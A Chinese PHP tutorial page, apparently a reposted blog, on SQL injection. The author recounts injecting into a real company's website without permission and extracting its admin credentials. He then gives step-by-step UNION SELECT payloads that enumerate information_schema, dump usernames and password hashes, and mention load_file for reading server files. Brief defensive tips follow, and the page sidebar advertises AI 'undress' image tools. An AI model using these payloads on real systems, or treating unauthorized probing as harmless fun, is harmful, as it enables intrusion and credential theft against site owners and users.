搜索
首页后端开发php教程php中一些见的SQL注入方法总结_PHP教程

php中一些见的SQL注入方法总结_PHP教程

Jul 13, 2016 am 10:47 AM
phpsql使用总结接受数据处理方法注入语法

SQL注入就是利用你语法或接受数据处理上的一些bug进行爆数据库,然后下载你的数据或直接获取你的管理员进入一些对网站有影响的操作,但在SQL注入中我们有那些bug给人利用呢,下面小编收集了一些初级与稍高级一点的方法,只共学习参考使用,其它一律不管。

最基本的sql注入漏洞方法

今天早上学院开了个会,说了些关于毕业实习与设计的安排之类的还有说明天有个企业来招聘,让有兴趣的人回去登录他们公司的网站看看。paperen我当然是没有这个兴趣的啦,但是宿舍的小华同学就有点兴趣,回来就上了他们的网站。但是……?

paperen我也瞅了几眼,网站不咋的啊,asp的,也不知道为啥突然想也去踩踩,看看有没有存在sql注入漏洞,登上他们的网站,看了几个页面,去到公司新闻那,有一条新闻url是xwzx_content.asp?id=456(很正常的传值,根据id值去查数据库并显示相应的数据,也很合理),但是……?

paperen我将参数改为xwzx_content.asp?id=456 and 1=1试了试,发现与id=456显示是一样的。(并不能证明是否存在漏洞)?

然后又试试这个

 代码如下 复制代码
xwzx_content.asp?id=456 and '1'='1

结果是

提示错误由此可以判断出存在漏洞,因为你可以在自己的数据库随便找个表来试试这个语句?

select * from table where id=1 and 1=1(某一条记录的id号),其实加上and 1=1与不加是一样的结果,因为1=1是true的,sql肯定可以执行过去,但如果你是1=2的话就不行了,因为很显然1不等于2,为false所以查不到任何数据。?

然后继续去构造语句xwzx_content.asp?id=456 or 1=1,结果是

得出这个结果也是很显然的,因为or上一个1=1(ture)结果也是true的,无论你的id号为456这条数据是否存在都会查出所有数据记录。?

从上面几个操作就证实了sql注入漏洞确实在这个页面存在,下面开始正式的注入爆出我们想得到的信息,主要是看你的RP。?

我们需要使用union联合查询出其管理密码与账号。当然前提是你要去猜出管理员那个表的名字。?

paperen我第一个想到的就是管理员,试试吧。

1.xwzx_content.asp?id=456?union select?* from 管理员结果是


提示字段数不匹配,那么我们再去猜它的字段数吧

1.xwzx_content.asp?id=456?union select?1,2,3,4,5,6 from 管理员结果是


看来是猜对了,这个表中共有10个字段,其中4这个字段会被显示到页面中。可能大家不太明白这里到底是什么回事,paperen我不妨放出一个自己在mysql中的一个截图。

1.sql命令是SELECT * FROM `paper_blog` WHERE id =1 UNION SELECT 1 , 2, 3, 4, 5, 6, 7, 8, 9, 10 FROM member
?

看到第二行的1,2,3,4,5了吧,反正自己领会领会吧,关于union这个联合查询不知道大家有没有用过,简单地说就是将别的表的数据都查询过来。?

再来猜他放管理员账号那个字段名,我就猜是name吧。

1.xwzx_content.asp?id=456?union select?1,2,3,name,5,6 from 管理员结果是


这就证明猜错了,继续猜叫管理员,嘻嘻,果然有了。


爆出管理员的账号是管理员,再来爆他的密码,就猜叫password吧。

1.xwzx_content.asp?id=456?union select?1,2,3,password,5,6 from 管理员结果是


密码是32位的,应该是MD5加密的,ctrl+c一下到一些在线解MD5的网站一查,密码竟然也是管理员……这安全意识也太差了吧。?

账号有了密码也有了,还差什么?很明显是后台地址,但是paperen我还是找不到啊,蒙不对地址,看到这里不知道大家是不是有些少失望,唉,paperen我也有点,但是算了,我还要发表博文呢,先不花时间去碰了。反正这个网站给我的印象就是不太好,公司估计也不咋的吧。?

其实要入侵一个网站真的不是很容易的,要防入侵也是很不容易的,但是从上面说的这些可以看出某些观点去防止出现这种很低级的错误。?

1.对get传参的参数进行过滤与判断

2.不要参照某些开源的程序的数据库表或表名去建立自己的数据库

3.要使用比较复杂的密码,至少不要管理员,管理员888之类的

4.放后台文件的文件夹名字最好改得特别点,不要让人轻易猜到

5.对于asp网站的数据库文件最好改后缀为asp的,防止被下载?


稍微高级一点的SQL注入

还记得在“你是这样处理来自$_GET的数据吗 ”里面写到的那个SQL,

 代码如下 复制代码
1.$sql = 'select * from goods where id='.$id;

不对传入来的数据进行任何过滤甚至不用单引号抱起来会导致的问题在那篇文章中已经说的比较明确了,如果您能猜到数据库其他表的话还能查到其他表的内容,而这次paperen想说一些使用这个漏洞更高级的一个技巧。

假如你已经证实了此处存在漏洞,(怎样证明?简单来说分别测试一下将参数改为id=1=1与id=1=2再看页面就能知道是否存在漏洞,如果显示信息不一样或出错则证明存在漏洞),但是即使证实了有漏洞但猜不到其他表的表名怎办。使用一个很邪恶的招数,先放出注入URL。

爆出目前数据库名

1.URL:

 代码如下 复制代码
http://localhost/mytest/sqlinject/?id=-1+UNION+select+1,2,3,database(),5,6,7,8,9+from+information_schema.columns2.SQL:SELECT * FROM goods WHERE id=-1 UNION SELECT 1,2,3,DATABASE(),5,6,7,8,9 FROM information_schema.columns

然后将获得数据库test的hex值后再爆出该test数据库中的表名(获得test的hex值 select hex('test') 放到mysql中跑一下就可以看到结果了,74657374前面再加上0x,十六进制数)

1.URL:

 代码如下 复制代码
http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,2,3,GROUP_CONCAT(DISTINCT(table_name)),5,6,7,8,9+FROM+information_schema.columns+AS+c+WHERE+c.table_schema=0x746573742.SQL:SELECT * FROM test.goods WHERE id = -1 UNION SELECT 1 , 2, 3, GROUP_CONCAT( DISTINCT table_name ) , 5, 6, 7, 8, 9 FROM information_schema.columns AS c WHERE c.table_schema = 0x74657374

然后在将表user的hex值放入去,查user表的字段,现在是DISTINCT(column_name)了,最好加上and如果有不止一个数据库有user表的话可能得出的结果会误导你。

1.URL:

 代码如下 复制代码
http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,2,3,GROUP_CONCAT(DISTINCT(column_name)),5,6,7,8,9+FROM+information_schema.columns+WHERE+table_name=0x75736572+AND+TABLE_SCHEMA=0x746573742.SQL:select * from goods where id=-1 UNION SELECT 1,2,3,GROUP_CONCAT(DISTINCT(column_name)),5,6,7,8,9 FROM information_schema.columns WHERE table_name=0x75736572 AND TABLE_SCHEMA=0x74657374

you see!已经一步步地获得了我们想要的信息了,是不是有点意思呢?所以paperen说这种东西搞上来会上瘾的。

然后直接爆出他的user表的明码。

 代码如下 复制代码

URL:http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,password,3,username,5,6,7,8,9+FROM+user2.SQL:select * from goods where id=-1 UNION SELECT 1,password,3,username,5,6,7,8,9 FROM user

但是user表里面可能不止一个用户数据,那么就加上limit吧

 代码如下 复制代码
1.URL:http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,password,3,username,5,6,7,8,9+FROM+user+limit+1,12.SQL:select * from goods where id=-1 UNION SELECT 1,password,3,username,5,6,7,8,9 FROM user limit 1,1

然后将获得的密码拿去
破解获得明码,再知道后台路径,使用用户帐号与破解的密码登陆到后台吧,但是paperen后面两个步骤也是看你人品的,如果密码被搞得比较复杂,你也很难破解,即使你破解了也得要找到后台地址。So……就到此为止了。就是娱乐一下。(PS:你还可以用load_file将服务器一些文件内容弄到,前提是你也要猜到文件的路径)

www.bkjia.comtruehttp://www.bkjia.com/PHPjc/632825.htmlTechArticleSQL注入就是利用你语法或接受数据处理上的一些bug进行爆数据库,然后下载你的数据或直接获取你的管理员进入一些对网站有影响的操作,...
声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
使用数据库存储会话的优点是什么?使用数据库存储会话的优点是什么?Apr 24, 2025 am 12:16 AM

使用数据库存储会话的主要优势包括持久性、可扩展性和安全性。1.持久性:即使服务器重启,会话数据也能保持不变。2.可扩展性:适用于分布式系统,确保会话数据在多服务器间同步。3.安全性:数据库提供加密存储,保护敏感信息。

您如何在PHP中实现自定义会话处理?您如何在PHP中实现自定义会话处理?Apr 24, 2025 am 12:16 AM

在PHP中实现自定义会话处理可以通过实现SessionHandlerInterface接口来完成。具体步骤包括:1)创建实现SessionHandlerInterface的类,如CustomSessionHandler;2)重写接口中的方法(如open,close,read,write,destroy,gc)来定义会话数据的生命周期和存储方式;3)在PHP脚本中注册自定义会话处理器并启动会话。这样可以将数据存储在MySQL、Redis等介质中,提升性能、安全性和可扩展性。

什么是会话ID?什么是会话ID?Apr 24, 2025 am 12:13 AM

SessionID是网络应用程序中用来跟踪用户会话状态的机制。1.它是一个随机生成的字符串,用于在用户与服务器之间的多次交互中保持用户的身份信息。2.服务器生成并通过cookie或URL参数发送给客户端,帮助在用户的多次请求中识别和关联这些请求。3.生成通常使用随机算法保证唯一性和不可预测性。4.在实际开发中,可以使用内存数据库如Redis来存储session数据,提升性能和安全性。

您如何在无状态环境(例如API)中处理会议?您如何在无状态环境(例如API)中处理会议?Apr 24, 2025 am 12:12 AM

在无状态环境如API中管理会话可以通过使用JWT或cookies来实现。1.JWT适合无状态和可扩展性,但大数据时体积大。2.Cookies更传统且易实现,但需谨慎配置以确保安全性。

您如何防止与会议有关的跨站点脚本(XSS)攻击?您如何防止与会议有关的跨站点脚本(XSS)攻击?Apr 23, 2025 am 12:16 AM

要保护应用免受与会话相关的XSS攻击,需采取以下措施:1.设置HttpOnly和Secure标志保护会话cookie。2.对所有用户输入进行输出编码。3.实施内容安全策略(CSP)限制脚本来源。通过这些策略,可以有效防护会话相关的XSS攻击,确保用户数据安全。

您如何优化PHP会话性能?您如何优化PHP会话性能?Apr 23, 2025 am 12:13 AM

优化PHP会话性能的方法包括:1.延迟会话启动,2.使用数据库存储会话,3.压缩会话数据,4.管理会话生命周期,5.实现会话共享。这些策略能显着提升应用在高并发环境下的效率。

什么是session.gc_maxlifetime配置设置?什么是session.gc_maxlifetime配置设置?Apr 23, 2025 am 12:10 AM

thesession.gc_maxlifetimesettinginphpdeterminesthelifespanofsessiondata,setInSeconds.1)它'sconfiguredinphp.iniorviaini_set().2)abalanceIsiseededeedeedeedeedeedeedto to to avoidperformance andununununununexpectedLogOgouts.3)

您如何在PHP中配置会话名?您如何在PHP中配置会话名?Apr 23, 2025 am 12:08 AM

在PHP中,可以使用session_name()函数配置会话名称。具体步骤如下:1.使用session_name()函数设置会话名称,例如session_name("my_session")。2.在设置会话名称后,调用session_start()启动会话。配置会话名称可以避免多应用间的会话数据冲突,并增强安全性,但需注意会话名称的唯一性、安全性、长度和设置时机。

See all articles

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

Video Face Swap

Video Face Swap

使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热工具

螳螂BT

螳螂BT

Mantis是一个易于部署的基于Web的缺陷跟踪工具,用于帮助产品缺陷跟踪。它需要PHP、MySQL和一个Web服务器。请查看我们的演示和托管服务。

EditPlus 中文破解版

EditPlus 中文破解版

体积小,语法高亮,不支持代码提示功能

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

功能强大的PHP集成开发环境

安全考试浏览器

安全考试浏览器

Safe Exam Browser是一个安全的浏览器环境,用于安全地进行在线考试。该软件将任何计算机变成一个安全的工作站。它控制对任何实用工具的访问,并防止学生使用未经授权的资源。

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)